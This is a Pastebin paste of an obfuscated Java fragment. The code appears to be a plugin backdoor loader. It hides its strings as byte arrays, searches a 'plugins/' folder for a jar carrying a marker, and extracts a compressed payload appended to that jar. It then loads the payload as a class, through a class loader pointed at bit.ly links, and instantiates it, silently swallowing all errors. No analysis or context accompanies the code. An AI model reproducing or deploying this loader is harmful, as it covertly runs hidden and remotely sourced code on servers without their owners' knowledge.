Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try {
- File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
- boolean b = false;
- long n = -1L;
- int n2 = 0;
- final File[] listFiles = file.listFiles();
- for (int i = 0; i < listFiles.length; ++i) {
- if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
- file = listFiles[i];
- final byte[] array = new byte[(int)file.length()];
- final FileInputStream fileInputStream = new FileInputStream(file);
- fileInputStream.read(array);
- fileInputStream.close();
- if (array[15] == (byte)(array[16] ^ 0xBE)) {
- b = true;
- n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
- if (n > 0L) {
- n2 = (int)n;
- n = file.length() - (n + 2L);
- break;
- }
- }
- }
- }
- if (b) {
- final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
- randomAccessFile.seek(n);
- final byte[] input = new byte[n2];
- randomAccessFile.read(input, 0, n2);
- randomAccessFile.close();
- final Inflater inflater = new Inflater();
- inflater.setInput(input);
- final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
- final byte[] array2 = new byte[1024];
- while (!inflater.finished()) {
- byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
- }
- byteArrayOutputStream.close();
- final byte[] byteArray = byteArrayOutputStream.toByteArray();
- inflater.end();
- final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
- final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
- final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
- declaredMethod.setAccessible(true);
- ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
- }
- }
- catch (Exception ex) {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement